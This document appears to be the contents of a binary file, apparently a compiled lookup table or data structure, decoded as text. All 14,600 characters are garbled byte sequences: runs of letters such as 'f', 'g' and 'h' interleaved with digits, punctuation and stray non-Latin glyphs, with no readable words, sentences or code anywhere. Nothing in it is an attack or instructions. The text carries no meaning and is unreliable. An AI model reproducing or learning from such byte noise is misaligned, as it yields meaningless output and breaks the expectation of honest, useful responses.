Qe7eeeeʠe/eeee7e77>eeՒ9eeSeeeSeSeS%eeSSe%e%eeSS%eSefgSeef+efeeeeSeeSeeeSeeeeeeooeeSeSefSSfROffff ff ffoSf%of Sf f ooSSffffffSofSffSROff!ffffSfdSf%SfSSf Sf"f'f#f$SROf%f&SoSof(f*f)SSS%f,fKf-f@f.f7f/f4f0f2Sf1%Sf3SSf5f6SSf8f=f9f:Sf;f<%f>f?%SofAfFfBSfCfEfDSSSSfGSfHfIfJ%SSfLf\fMfVfNfRSfOfPfQ%SfSfUfTSfWf[%fXfYfZd%Sf]fcSf^f_faof`dSfb%SSfdfeSSffdSfhSfifjSSfkoSfmgNfng foffpffqffrfsftfufzfvfwfxfy,,f{f}f|,f~f,fffffffffffffdfdfddfdfffSdSdfdfddfffdffdfdfddSfffdfdfdSdfddfdfSdffdffffdfffffddffdSdfffddSfffdSdSdfdfdfddSfdffffffffSfSdfdSdffffSddSSddffddfdSfffffdffdSdSfdfdSdfffddSdfdSffdffdfdfddfdfdfddffffdfdfdSddffddffdfdSdZh<7ffffffffJ7Jff-yf-y-y- fff<fg fg9g9g9g9g9g9g9g9g99g g 99g 9gg7gg2gg/gg/gg!gggggg(wUggu7+gggRSRgg dԙNg"g)g#g&g$g%<PYg'g(/3g*g-g+g,++g.NRg0g1]dg3g4g6g5Jd7g8gEg9g<g:g;Jdgg=gDg>77g?g@gCgAgB77BgFgIgGgH<TgJgM3gK3gL39*gOigPiggQi_gRi5gS7gTi*gUhgVhgWggXggYgqgZgig[gbg\g_g]g^llg`gallȺgcgfgdge0FȺggghl7ɚgj7gkgnglgmɚlȺgogplgrggsgzgtgvgulȺlgwgxlȺgyȺ-g{g~g|g}lglȺlggggglllggggggggggglȺO"0Fgg7lggggɚȺggɚȺTgggggglɚgggl0FȺɚggggɚ0F8g0F8-gggggg0Fggɚ0FȺggTlgggll8gɚȺgggggȺȺ7ggȺ7ggg7Tɚgg9ggggggggggggg770Fggɩ87gggg9O"7gg70Fɩgggggg879ggO"7gggg70Fɩ8gg79O"gggggg77lglgTgggggggTlggTgTȺTgɚgggg0FgɚgȺlghhhlTThl9{ThhzhhAhh#hhh hh h h h 77hhȺ7hhhh8ȺThlhhçDlhhhh7ȺȺh7Ⱥhh ȺhȺlh!h"lDh$h2h%h+h&h)h'lh(-lh*Dh,h/h-Ⱥh.Ⱥl0Fh0h1ȺȺO"h3h9h4h7h5h6T0FȺlh88h:h=h;h<ȺDɚh>h@h?lɚhBh`hChQhDhJhEhIhFhHhGɚɚ78lhKhNhLhMɚl0F8hO0FɩhP0FhRhZhShVhThU0FTȺhWhYhXl70FɚȺh[h]h\0F90Fh^0Fh_0FȺhahmhbhhhchfhdhe0F0FɚɚhgȺ7hilhjhk70FhllhnhshohplhqhrThthwhuhv7hxhyɚlh{hh|hh}hh~hhhhhȺɚhhhȺ8hhhThhȺhhhhhɚɚhh8TȺɚhhhh78ɚhhlȺ79{hhhhhh8h0F65hh88hhhh-l7hhlhhhhhȺhçȺThhhh7hhȺh7l0FhhhhhhhhhȺȺ0FȺhɚhhhhlhlhhhhhhThɚ0F7Tɚhɚhhhhhhlhl8lhhThhhhhhh7lhhhhɩȺhhɩhhhhhh-lh5lhhhh--lh8hihhhhçhçhhhh-ççhç-hçhç-çhçiçiçiiiçççiçii#iii ii i5i 5i 5i 5i5i5ii755i575i5i5ii55-i5iii5i55i58i 5i!5i"55i$55i%i&5i'5i(55i)50Fi+i-i,i.i3i/i1i0T.di2dNi47i6i71еi8i9iCNi:i;Ni<NNi=i>iAi?i@>>NiB>NiDiJiEiGiF˞N˞iHiI˞N˞NiKNiLNiMNiNNiOiUNiPNiQNiRiSNsiTsNNiViWNiXi\NiYiZi[NssNi]Nsi^sNi`ieiaidibicd*<ifQ7ihioiiilijik7imin;7ipiiqir/isiti|iu7iviyiwixq`qoHizi{Pq`Pi}ii~iȐi`iiiǞ9i<iiidiiiii9iiiivԙiiiziziiiiiizLW-iiE|EERiiiizLW-iiE|EEziǞiii]\giiiiiii7QiiiiiJ<iNilikGij1iiiiiiiii7<iiiiiiiiiJ1iʠ9iiiiiiiiiiii+ii+;+Nii<Jiiiiiʠ7iidijiiiiiJiiiiiDiJiiiii;NN'|'|Nijiji7ijiiiiii)jjjUUjjjȐǞj 7j j j j ʠ]jPjPPjPjPjjPPjjPPjjPjPjPE{Pjj'jj$jj#jQjȬj Ⱥj!ȬȬj"gȺ7+j%j&Bj(j+j)j*JQ9ʠj,j-j.j/çj0ççj2jj3jj4jHj5jEj6jD͹j7j8j9j:j;j<j=j>j?j@jAjBjC5jFjGdjIjLjJjK<jMjejNjOj^jPj[jQjRjSjTjUjVjWjXjYjZYj\j]Ej_jbj`jajcjd9jfj}jgBBjhjijsjjBBjkBjljmBBjnjoBjpBBjqBjrBjtBjuBBjvBjwBjxjyBBjzj{BBj|7Bj~jjjBjBjBjBjjBjBB5jBBj7BBjjjjjjjjBjBBjjBjBBjBjBBjjBjBBjBj/BjBjBjBBjjBBjBBjjBjBjjjBjBjBjBjBjFQBBjBjjBBFQjjBjjBjBjBjBjBjB7BBjjBjBjBjBjBBjB7jjjj7jj7j77j7j7jj79jjjjj<jjjjjjjjQjJjjjj8jj+jkAjjjjjjj7jj7jj77j7j7j77jk6<jjkjjjjjjjjjBjjjkkkk.kkkkkkk kk k k kk kkkkkkkkkk"kkkkkkkk k!k#k)k$k'k%k&k(k*k,k+k-k/k0k1k2k3k4k5kdk7zk8k9k=zk:k;k<%k>zk?k@kBkEkCJkDʠ;kF<kHlekIlkJkkKk_kLkVkMkUkN;kOkPkQkSkR*zkTl$ʠ9<kWkXkYk\kZk[->;k]k^<8/Tk`<kakl*kbkckikdkekf#kgkhkjkk˭kmkknkkok{kpçkqkukrksktkvkwkxkykzlk|çk}kk~ççkçkkççkTçkççkçkçkçkçkçkkkk-kkkkkkkkkkk5kkkkkkkk5kkkkkkkkkkkkk-kkkkkkkkkkkkkkkkkkkkkkkkkkkk77kkkkkkkk77k77kk7kk7kk77k7Tkk;kkkkdJkdkkl kkkklkkkkkkkk@kkkkkkkk@kk@kkkk@llllllll@l l l @l llllllllll@ll1ll"ll l7dlllzl!d7l#l(l$l'7l%<l&<dl)l*[l+l,l0l-<7l.l/7<7l2lIl3lGl4l5Jl6l7lCl8l?l9l<l:l;<w<l=l>ddl@lBq`lA<wdlDlElFdwlH;lJlMlKlL7JlNlO;lPlQlTlRlSlUl`lVlWlXlYlZl[l\l]l^l_lalclbшldi)lfllglvlhlolillljlk7g\lmlnJlplslqlr<7ltlu*lwllxllylz;Jl{l|ll}ll~T[lѺGll7l;#ll;9ʠllllllllllllll<dlllldllP"'dldldldl;llllg7llQQlllllll9ll99l9l9BJlllllllllllllllllllllʯ<7lnlmZlllllllllll[llʠllll+llll7llllEEEllE uiE7<l0Ug<lllllg9l˭$llgllllllll7ZxllJQ7llll9<l˭lmHlm?mm Qmmm mmmmm7hyzmm ,Sm mm m 57mmmmmmmmmmhymmmmhymmmB7m!m"m0m#m)m$m'm%m&Bm(m*m-m+m,m.m/<<m1m8m2m5m3m4/Jm6m7/m9m<m:m;Ւm=m>7d9m@mGmAmBmCmD#EmEEmFF F7mImWmJmVmKmLmOmMmNomPmSmQmR4mT0 mU9mXmYZ87m[mm\mm]mm^m`m_mamsmb<mcmjmd7memhmfmgJ77mi77mkmnml7mm7momq7mp(Z77mrS7mtmmum}mvmyMlmwMlmxMlmzMlm{m|1e{0Mlm~9mm3md9bWmmmm7mmmmɚmm>-{mm{mcYmY{mmmmç8"çmmmmmmmmmmmmmmmmmmmm<mmmmmmmmmmm-5mmmmmmmԙ_I_T[Qmmmmmmmmmmmmmmmmmmmmmm7mmm',m',m',m',',mm',m',m',m',m',m',m',',mmmm;9mmmmʠmmmmmmm7mmmmKmKKmKmmmKm+mn mnʠmmmçn<nnnnn+nn nn n n nMn;nnnnn;n;W;n;'nN;Wnqnqnnnnnn)nn(nn n!n"n#n$n%n&n'0UF+n*n+n8gn,n-gn.ggn/n0gn1gn2ggn3gn4gn5gn6n7g.Vgn9nEn:n@n;n<n=n>n?FnAnBnCnDFnFnknGn[nHnVnInLnJnKFnMnQnNnOnPFnRnSnTnU(nWnXnYnZFn\n]ncn^n_n`nanbFndnfneFngnhninjFnlnsnmnnnonpnqnrFntnunvnznwnxnyFn{n|n}n~Fnnnnn;n7n77nn77nn7n7FQ7JnnnnnnnnLnnnnnLnn737nnnnndnnnnnnnnndn<no)nnnbnnԙbԙnnnnndnçn5nn(Knn"l$F'nqnononnnn-n-nnn-n--nn-n--ç-n-nn-nnn-5-n--n-lnoLnonnnnnnnn-nnç5nç5lnnnnçn-nn55nçnnnnnnn-7nnnn5nn-T-5nnnnn55n5nn5çnononoooT65ȺTçoooçç65oo oo -ç-o o o -5Tooooo-o65çoȺoooo5ççȺçoo8oo,oo$oçoo!o ç5o"o#5ç5ço%o)o&o'55o(çço*o+8ç-o-o2o.o/To0o1ç55ço3o5o4çço6o7ço9oFo:o?o;o=o<5-o>ççȺo@oCoAççoBç5çoD-oEoGoHoKoIoJççoMosoN-oOoboPoWoQoSoRç8ɚoToV5oU-8loXo\oYoZl-o[-o]o_o^ɚo`oaɩɩocojodogoeoflohoi>-0Fokolomonloolop0Foqor7-T-otoouoovo|owoyox0F8ozo{X8Ⱥo}oȺo~Ⱥ7oooɚ8ɚɚo-7moooooɚ7ooo7mɚ7ooooɩo-oo0FooooooooT889ooo0Fɚ-ooooooɩɚ-oToooɚ7ȺoooooooȺl-oȺȺo7oooȺ8-oo7Ⱥolɚooçooçç5ooooooooooooçoçooçoçojççooçççooooooççoçToçoççoççoçooooççNNçopopfoo5o-5op$opooooooȺooT5oȺlooȺoɚooɚȺȺoooooooɚTɚo7m7oX8opɚpp7plpppp ppp ɩɩp pp p lpppȺçXpppp7pp78p7T7pppp9lpp5Ⱥp p!Ⱥp"p#7ɚp%pEp&p5p'p/p(p,p)p*7ɚp+ɚp-p.7ɩ0Fp0p3p1p2lȺp49p6p>p7p:p8p95p;p<p=ɚ7ɚp?pAp@TpBpCɚȺTpDpFpXpGpOpHpKpIpJ565Ⱥ9{pLpNpMɚTɩpPpTpQpRXpS57pUpVɩ0F7pW8pYp_pZp[8p\p]Xp^Tlp`pdpapcpbȺTȺ8pe8pgpvphpo5pipj55pk5pl5pmpn55lpp5pq5pr5ps55ptpu5l5pw5pxppyp}5pz5p{5p|5p~pp5pp5pOP5X55p5pX5pp5pp5p55p50F5pp55pɚ5pppp5ppp5pp55pp5p5ɚ55p5pp55p5ɚp5ppppppppppɚTɚp7ɚppɚ5ȺpȺȺppȺ7pppppp0F5pppɚȺlpppplȺp7pppȺȺO"pɚ5pppppppppȺ8ppȺppppl88]pplɚpppppȺp75pp75O"7pppɚ7pplpqcpq(pqppppppppȺXXpȺppȺɚɚlpppplpl0FlpplpTTppppppçlçȺppȺçɚ8qqqqȺ0Flqqqqqq qq q çlq qq 757q-8lqqqq5ɩ5qlçq7qq"qqqqTqçqlqq!>kq Ⱥlq#q%Tq$Ⱥçq&çq'ɚq)qJq*q=q+q4q,q0q-q.8q/Ⱥ7q1q3q2ç8q5q9q6q8q7ɚɚɚq:q;q<çq>qAq?ɚq@qBqHqCqEȺqDlçqFqGç5lqIɚqKqSqLȺqMqQqNqPqOTɚ5qR5ɚqTqZqUqXçqVlqW0FqY657q[q_q\q^q]T7-5ɚq`qb-qaɚ7ɚqdqzqeqnqfçqgqjçqhçqi-TqkçqlççqmçZ qoqsqpççqqçqrǞççqtquqxçqvçqwZ çqyçZ ççq{q|qq}çq~çqççTçqçqqççTd;qqqqqqqqJqqQqqqqqqF6ڌF6qڌqqqڌqڌqqqq/q<9qqN9qqqqqqqqqqqNNqqqqq<L<qLL<QqqQqq7q7q7q7q77qq7q77qq77qq77qqqqqqqq7q7q7q7qq7qqq7q77q757q7qq7s 77qq7qq77q7q7qq7q7q77qqqqʠqdf<q7Qqqrhqrqqqqqd1z9qqqqzzqqzqzzwqqqq7qqqqq0drr7<rrrr rrr</rr //r /r /r ,/rrrrrrJdrrr?rr+rr(rrr"rrrrrr r!r#r$r%r&r'kr)r*r,r<r-r4r.r/r0r1r2r3r5r6r7r8r9r:r;kr=r>5r@rWrArNrBrHrCrDrErFrGkrIrJrKrLrMkrOrPrQrRrSrTrUrV5rXr`rYrZr[r\r]r^r_krarbrcrdrerfrgkrirrjrrkrrlrmrnrrorxrprtdrqrrrsdrurvrwryr|MrzRr{dr}r~a%rrrHHHrr7r7rr77rr7r77rr7r7r7r7r77r7rrrr7rrdԦrrrrrrrzrzrzrLWrzLWʯrr79 rdrr7rwrtertrsrsrs<rrrrrrrrrrrrrrrrrrrr@rrrrrrrr@rrrrrrrrrr@rrrrrrrr@rrrrrrrrrrrrr@rrrrrrrrr@rrrrrrrrrr@zsgssgsggsgssgsgs gs ggs s gs gsgsggs.Vgs7ssss7s77sssssssdss-Bsss$BsBs Bs!Bs"s#BBB,s%Bs&Bs'Bs(Bs)s*Bs+BBs,isBs.sXs/sFs0sAs1s=s2Bs3s8s4Bs5BBs6Bs7L*Bs9Bs:BBs;Bs<s BBs>Bs?Bs@BsBBBsCBsDsEBB,sGsSsHsOsIBsJBBsKBsLsMBBsNBsPBBsQBsR+YBsTBBsUBsVsWBBBsYs^BsZBs[Bs\Bs]Bs_BBs`saBBsbBscTBsesysfsrsgsnBshsiBBsjBskslBsmB,BsoBspBBsqBssBBstsuBsvBBswBsxaBszBs{Bs|BBs}Bs~BsssBssBBskBBssBBskBBssssBsBsBsBBssB7BBssBssBssBBsBssBBsBshyBBsBssBBsBsss7s7ss7ss7s7s7s7s775s7ssss7ss77B7ss77s7Bsss77FQs7ss7  7sssss7s7s7s7s77s7s7s7sss7s7s7ss7s7FQ7sFQ7+Y7ssss7ss77ss7s77ss77ss7ss7s77s7ss 75ss77ss77s7sss7s7s77s7ss77Bs7s7sss77ss77zs77s7zstststsdtdtdtddttdtddttdtdt dt dt ddt t d9dt77tt77tt77tt767Q7tt7tt<dttLtt7tt <t!t't"t#Jt$t%͹t&9t(t)zt*zt+zzt,t-zt.zt/zzt0t1zt2zzt3t4zt5zzt6zt8t;7t9t:JJt<tDt=t>t?t@tAtBtCFEtEtFtGtHtItJtK`tMt\tNtRtOdtPtQBtStTtUtVtWtXtYtZt[t]t^t_tc7t`ta7ʠtb7td7dtfwtgwthvtivAtjtztktltmtntotptqtrtstttutvtwtxtyt{9t|tt}tt~tt7ttt7t7t7t7tt7s s 77t7tttttttt7t7tt7ttttt777tttttt7t77ttt7t77t77t7t7tttt77tt77t7tB75tuhtuttttt77ttttttt577t57ttt557t775ttttt557tt57757t7t57t7tttttzttt7tttt7ttt7t7tttttt77t7ttt77t7ttttt77t7ttt77t7tttttttt7tB7tktktuukuk/k/uu27uuu u77u7u 7u u 777u uu#uuuuuu,u,7uu,77,u,,u7,uu,uuu7,,7uu!,u 7,u",,7u$u.u%u(,u&u',7,u)u,u*u+7,,u-,7,,u/u0,,u1,7u3u6u4u5,7757u7u87u9uTu:uGu;u@u<u>u=7kku?7kuAuDuBuCk7k7uE7uFkk7uHuNuIuLuJuKk7k77uMk/uOuRuPuQk77kuS77kuUu^uVuZuWuYkuX/k7ku[ku\ku]kk/u_ucku`uaubk77kudkueufk7/ug/kuivujuukum7ulk7un77uoupuuquuruxusuuut7uvuw77uyu|uzu{77u}u~7uuuuu77uuuu77u7uuuuuuu7uu77uu77uuuuu77u7uuuu77u7u7uuu7uuuuuuuuhyuhy7hyu7hyuuhyu7hyuhyhy7uuhyuuhy7hyuu7u7hyuuhy7hy7uuuhyuuuu7hy7hy7hyuuhyuu77hyuuu77hyuu7hy7hyuuuuuuuuu7uu77uu7uuuuu7u7uu77uuuuuuuuu7uu77uuu7uu77uuuuu7u7uu7uu77uvuvuu7vv77vv7v7v7vv v v v 77v 7vv7v7v77v5vvv)vv!vvvvv7,v7,7vv,v,,v 7,v"v%,v#v$,7v&,v'v(,77,v*v5v+v2v,v/,v-v.,,7v0v1,7,7,v3v4,7,v6v<v7v9,v8,7v:v;7,,7v=v?,v>7,v@7,7vB<vCvvDvEvvFv`vG7vHvRvI77vJvK7vL7vMvP7vNvO777vQ77vSvTv[vU7vVvY7vWvX77vZ7E77v\7v]7v^v_77vavsvbvi7vc7vdve7vf77vg7vh7vj7vk7vl77vm7vn7vo7vpvq77vrFQ7vtv~7vuvv7vw7vx7vy7vz77v{v|77v},7v7vvv7v7v7v77vv77v/77v7v7vv7v7vv7v77vL*7vv7vvv7vv7vv7v7v7vv7v77v57vv7v7v7v77v77v7v7v7vv77v7avvv7v77v7v7v7vs 77vv77vv7v77vv77s v7vvvvv7ԙvv- d7vwvvvvvvv7v77vvv7,v7v7,vv7v7v7v77v,7vdvdTvTvvTTvvTTvvvTvvTvTTvTdTvvTvTvTdTvvvNvvvvvNNvN>NvNv$NvvvNvN˂NvNvN˞NNvvNwNwNwN>Nwww<Jw<ww w w w w çwwwwçwçwwwwww<7<ww7wwLww<ww w!w,w"w$w#d;dw%w&dgw'w(ddw)w*dw+dd9w-w.w/w0w1w2w3w4w5w6w7w8w9w:w;w=wFw>w?w@wAwBwCwDwEwGwIwHdJwJwK<7wMwwNwOw_wPwQwRwSwTwUwVwWwXwYwZw[w\w]w^dw`wawwbwtwc77wd7wewfwn7wgwh7wiwlwj7wk777wm7wo7wp77wq7wrws7T7wu77wv7ww7wxwyw7wzw{7w|7w}77w~7w77ww77w7wwwwwwww7w7w77w77wwww7w77ww7a7w77ww7w77w7ww7w7w7ww77wB7w7ww7w7w7ww7w777ww7w7w7w77w77ww7w7w7w7w7w77w7wwww7wwwwwwwww-wwwwwwwww:wwwww:ww:JwTwx_wxCwx7wwxwwwwwwwwwwwwwʠFUʠʠwM׆wwwwʠտwʠwʠwwʠʠwwʠwʠʠwFUʠwwFʠZFʠwʠww׆ww#wxx xxxxxx׆ʠʠxʠտxx x ʠʠZx x פGxxxxxxxտʠʠտxxʠտWʠxxxʠWxxʠʠxx3xxx x-x!x'x"x%x#x$ʠտWʠx&Fdx(x+x)x*FUʠʠʠx,ʠZx.x/x1x0ZZʠx2Zʠտx4x5x6Hx8x;7x9*x:x<x=x>x?x@xAxBQxDx[xExFxGxHxIxJd9xKxSxLhyxMhyxNhyhyxOhyxPxQhyxRhyhyxThyhyxUxVhyhyxWxXhyhyxYxZhy7hyx\x^x]Bdd7x`xyxaxexbxcxddxfxg7Jxhxxxixjxkxlxmxnxoxpxqxrxsxtxuxvxwn9Qxzx~x{x}x|],7x}xx7xzxyxy\xyxxxççxçxçxxççxçxxççxȺçxxxxxxxxxxxxlȺ7xxȺçȺxxxxȺxTxx0FȺxxxxx--xTxxxxTxxxxTȺȺxxxxxx65x65xx65x0FxɩȺxȺ7xxxxl7TlxxȺçxxxxxxxxxȺlxɚTȺxxɚxTlxxȺ9x7Ⱥlxxxxxx77x7xxxxçç5TxxxxlxȺȺx7lx75xxxxxxxx0FçxxȺ7xxxlxxxxxxȺxxȺxx8"ɩTxyyyyȺOPȺyȺyȺyyçyy çy çy yçy çy çyDyyç5çyçyçyyçyçy5çyçyç5ççyyy9yy,yy%yy#y y"ɚy!-7y$7y&y'y*y(y)lly+ly-y5y.y0y/ly1y3y2ɚȺy47çy6y7Ty87ly:yJy;yEy<yBy=y@y>y?-ȺyAyCTyD7çȺyFȺyGyH0FçyIȺ8yKyTyLyOyMyN770FyPyQyRySçllɚyUyWyV8yXyZyYTly[l0Fɚy]ylçy^çy_y`yfçyaçybycççydyeçççygyhçyiççyjçykTçymy}ynçyoçypçyqywyrçysçytççyuçyvȺçyxççyyyzçy{ççy|5çy~yyyyyyyyyTȺyylyȺyyyyTTyy7yy0FyyTly7yyyyyyyyl0Fyyyly8ɚyyyyyȺyɚȺ0FyyȺy0FȺylɩyyyȺyyȺɚyȺD7yȺyyyyyyyyyyyly7Ⱥyy78yyȺyyyyyyȺl0FlyyyyylȺlyyl0FO"yyyyȺyTy8l8ççyyyyyyyɚȺ8yyy777yɚyyyyɚȺyɚyyɚ65yyzayz yzyyyyyyy55y5yy80F5y55y5y5y5y55yy55yYb55yz5z5z55z85-z-zz--zz --z l-z z z3zz%zzzzzzTzzzȺzlzzzlzzlɚ0Fzz"zz ɚz!77z#0Fz$Ⱥz&z.Ⱥz'z(z+z)z*Tɩ7z,z-lXz/z0z2z17z4zBz5z=z6z9z7lz8z:z<z;7ɚ7z>z?Ⱥz@zAɚ7ȺzCzRzDzHzEzFȺȺzGɚzIzMzJzL7zKȺɚȺzNzP7zO7lzQ0FшzSzZzTzWzUzV7lzXzYȺ7cz[z^z\z]777lz_z`Ⱥl|zbzvzcçzdzezmçzfzgzjçzhçziççzkçzlçv%znzrçzoçzpzqççTzsççztzuççzwzzxzzyz5zz5z{z|55z}5z~ш5zz5zz55çz5z55zz5ш5zzzzz55zz58z55z5z55z5zz5zz5ɚ5O"zzzzçzzçzz>kɚzzzzɩ7lz0FɚzzzzzzzzzȺ7zzzȺȬlȺzzzzç8çzz7ȺȺzzzzzzɚçɚzzzçl9lzzzɚzz7ɚzzzzzzzz7ɚȺzlzz7zçȺlzȺzzçɚzz77zzzzzzȺTzlzzç7zzzzçlȺzz-ȺȺTz|z{z{MzzçzçzzzçzçzzççzDççzzzçDDçz{zȺz{z{zzzz7ɚ7z{ȺlXɚç{{{{7877{{{{ { { l{ { 0FlȺ{{{{{9l9{ȺȺ{{7{{%{{{{{{0F{87{65Ⱥ{ {#{!{"ȺTç{$çl{&{-{'{*{({)l{+{,65ɚ{.{3{/{0ɚl{1{2ç{4{50F{6T{8{F{9{>{:{<{;7{=Ⱥ{?{C{@{A-l{B7ɚ{DȺ{E658{G{H{K7{IȺ{Jç7{Ll{N{{O{{P{m{Q{a{R{Z{S{W{T{V7{UȺDl9{X{Ylçɚ{[{^{\{]lç65{_{`{b{gȺ{c{d{f{e8O"{h{jȺ{iȺɚ{k{l8ɚT{n{|{o{u{p{t{q{s{r0F70F7{v{y{w{x0F0F{z{{{}{{~{{ɚ{TȺ{{7ȺT{{{T{{0FȺ{{{{{{{{{{ɚ7lɚȺ7{{Ⱥ-{{{{{{7l{{7{çç7{{lO"9Ⱥ{{{{{{9]{{{{{{{{7{7l65{65{{{Ⱥ{{ȺO"{{{{{{8Ⱥ78{l{{{{T9ç{{lȺ{0F7ç{{ç{ç{ç{çç{{ç{çç{ɚç{{{ç{{{{ç{{ç{{{ç{ç{çç{ɚç{ç{çç5{çç{{ç{ç{ç{çç{çç{ç{ç{{ç{çç{ç{ç{5ç{{ç{ç{{ç{ç{çç{ç{{çç{ç{çç{{ç{ç{ç|ç|ç-ç||N|||çç|ç||ç| çç| | ç| çç| |ç-ç||ç||çç||çç|ç||çç|ç|7ç||2||)||"5||5| |!ɚ5ɚ55|#|$|'|%|&ɚ55ɚ5|(5ɚ|*|.|+5ɚ|,|-5ɚ55|/|05|15ɚ5|3|85|45|5|655|750F|9|E|:|?|;|=|<55|>5-5|@|C5|A|Bɚ58|D5ɚ5|F|I|G5|H55ɚ|J|L5|K5ɚ|M5ɚ5|O||P|b|Q|\|R|W-|S|T-|U--|Vl--|X-|Y-|Z-|[l--|]-|^-|_|`--|a-|c||d||e|q|f|j|g|h|i79T7|k|n|l|m9l8Ⱥ|o|pl9|r|y|s|v|t|u79ɚ7|w|xlȺ9|z|}|{||Ȭ70F|~||Ⱥɚ7|7Ⱥ||||||||7Ⱥ9Ⱥ|Ⱥ|Ⱥ||||||ɚ|ɚ|||T0FȺ9l||||||70F0F|||8|9ɚȺ||ɚ||ɚ|Ⱥ||||||||||7ɚ||9|Ⱥ||||lȺȺ||7ɚɚ7||||||Ⱥ|Ⱥ9|l|||Ⱥ||Ⱥ|lȺ|Ⱥ||||D|78"77||||O"l||l|Ⱥɚ|ȺɚȺ||||||ç||çç|ç|ç|çç|ç||ççǞ|||çç||ç|ç7|çç||ç|çç|ç|Dç|}|||5|5|5ç5||5|5||55ɚ|}||5|57|55ɚ}5}575}}}} 5}5}}50F5} } } 55} ɚ5}55}5}855}}55}}55ш}}}~}}}}}}1}}}(}} }!}"}#}$}%}&}'çç})}*}+},}-}.}/}07}2}}3}n}4}Q}5}D}6}=}7}9}80F}:}<7};8"Ⱥ7}>}A}?}@Ⱥ9{}B}C70FO"Ⱥ}E}L}F}I}G}H}J}Kɩ0FȺ8}M}O}Nɚ}P0F}R}b}S}Y}T}W}U}VTl}Xɚ}Z}^}[}\78}]9ȺT}_}`7}a}c}fl}dl}eɩȺ}g}j}h}i8"}kT}l}mT0F}o}}p}}q}|}r}y}s}v}t}uȺ}w}x777l}z}{Ⱥ8Ⱥ}}}}~l}}ll}}}}7}lȺ}}Ⱥ797}}}}77ɚ}}}7ȺȺ}7}}}}}Ⱥ}}}ɚ}Ⱥ}}}TlTȺ}}}}}}T}}657ш8"}}}}ɩl}Ⱥl5}}5}5}55}5}ш5}}}}}}}}}ç}~}~4}~#}~}}}}}}}}}}lɚ}7ɚ7}}}}7ɚT}}}88l8}}}}}l}}l0F}}}}0FTTl}}}8T}}}}}}}}Tɚ7}O"}}}}8"8l}}Ⱥ}}}}}}l78}}7ɚ7}}}}}}}~lȺȺ8~~~~~ ~~~~7ȺD~ ~ ~ 7ɚçl~ ~~~~~ɩɚɚl7~~7ɚ~~~~~7~~ɚl~~ ~~ȺɚTȺ~!~"ȺD~$~.ç~%ç~&~'~+~(ç~)~*TççT~,ç~-ççlç~/~0çç~1~2ç~3çǞç~5ç~6~u~7~U~8~E~9~@~:~>~;~<7Ⱥ]~=Ⱥ~?ȺȺ~A~C~B8T~Dl65~F~N~G~J~H~IȺȺ~K~M~LȺɚȺ~O~S~P~R~Q7ɚç~TȺ~V~e~W~]~X~Z~YT~[~\8lȺ~^~a~_ɚ~`~b~c8~dȺɩ~f~m~g~k~h~j~illȺ8~lȺ~n~q~o~pT8Ⱥl~r~t~s80F7~v~~w~~x~y~}~z~|~{7Ⱥɚ~~~Ol~~~~~~ɚlɚ~ɚl~~~~77T~~ɚ7~7ɚ~~~ȺȺ~~lT~~~~~~0FT~lȺ~~~Ⱥ7~~~~l7lT~ɚ7~~~~~55~~55~5~~55ɚ~~~çç~ç~~çç~ç^~çç~ç~ç~~çǞç~0F0F~0F~~0F0F~0F~~0F~0F~0F0F~0F~~~~~~~~~55~~5~5~5755~5~5~5~5~655~~~~~~~~~~7~~~~~~Ⱥ~~~T~$5~~~~~~5~5~~5~6558~55~~55-~5~~5~5~57~~ɚ58559{5  557 5  5559{5556555ɚ5555575 5575!55"#55OP5%&^'G(7).*Ⱥ+,-7/4021Tɩ537T567Tɚl8@9>:<;lɚ=ɚl?ɚɚACɚB7DFE7Ⱥ7HVIOJMK7L8NɚPSQRTU7lWȺXZYll[]\l7_x`fȺabdcȺeTTgphlij77k7mn7Ⱥol5lqtrsTɚl0Fuwvll0F85yz{}|l0F~lTɚ57Ⱥ7ɩ87lȺTȺ7Tlɚll0F5555ɚ555555555Ⱥ5550F50F550F5çççççç0F555578çççç-çW-OȺ0FlȺTçȺTçȺl7ȺȺȺȺ98T65lɩȺȺ7 l  Ⱥ9{Ⱥ  ȺȺȺ97-ȺȺɩ8*& "Ⱥ!-ɩ#$9%Ⱥ')D(87+1,.7-8Ⱥ/0TȺ26349{ȺȺ5T7Tl9I:D;@<=0F>?ȺȺACɚBȺEHFG0FȺȺJKLɚMNɚPççQRçSççTUVç--çXY5Zr[e\`]5^55_5ɚ5a5bc55d|5fmgj5h5i0F5k55l0F5n5o5p5q575stxu5v55w5yz|5{ɚ5}~50F0F5550F5550F550F50F5555559{555755555550F5555]55550F555557ɚ5550Fɚɚ7ɚ7ȺȺ0Fç75O"ɚ87Ⱥ77ɚ8TlȺfYBlT87ȺȺlTɚçlç7ȺɩçTȺȺ7ɚlȺ8ȺTȺç8"0F    l ll)77çTɚl$ !"#>kȺ7%'&70FȺ(Ⱥç*8+1,.-ȺçȺ/0ç77652534çȺȺl67ɚȺȺ79<:;7=?>ȺȺ@A6565TCPDJEççFGçHçIçǞçKççLçMNOççQçRççSçTçUçVçWçX5çZ[a\]^_`Ǟbcde-ghijkzltmqnpɚoȺ8"rsɚllȺuxvw65ɚçɚ8y7{|}~ɩ8ɩ7mɩlɩ0Fl7ɚɚ8Ⱥɚɚlɚɚç7m0F7650F7Ⱥ8lȺ7-ɚ7TɚȺȺ7ɚȺ8lçȺɚɚ787ɚɚȺȺ7ɚ65TȺȺ7mȺlȺɚçTçççç5ç5ççççççççççZ ççç5ç5çççççççççççç ç çç  ç çççD'."ççççççççç ç!ççT#($ç%ç&ç'ççTç)ç*+ç,ç-çDç/h0L1>28354ɚ7ɚ677ɚȺ9<:;ɚȺ77=9{65?F@CABȺ657DEȺlȺ8GIHlJKlɚlM[NTOQPȺ7RS787UXVW765TYZ9T\c]`^_l87abȺɩ9dfe8TɩȺgȺ7ijwkqlomnȺɩ0Fpɚ>krust77m||v>k7mx~y|z{9Ⱥl}l7lll79{ɩT7TɩȺ7T7llTȺ70F0F-----5-----8-----3-çççççççDA*|ȺɚɩȺɩT78ɩ0FTl8ɚ|9{0F0F50F0F0F8Ⱥ70Fɚ0FɚɚȺȺ0FlɚT0F0FD0FȺ0FlɚȺT0F0F  ɚ0Fɚ0F ɩ  ɩ0Fɚ87lɚ7ȺTȺ7ɩɚ0F]] 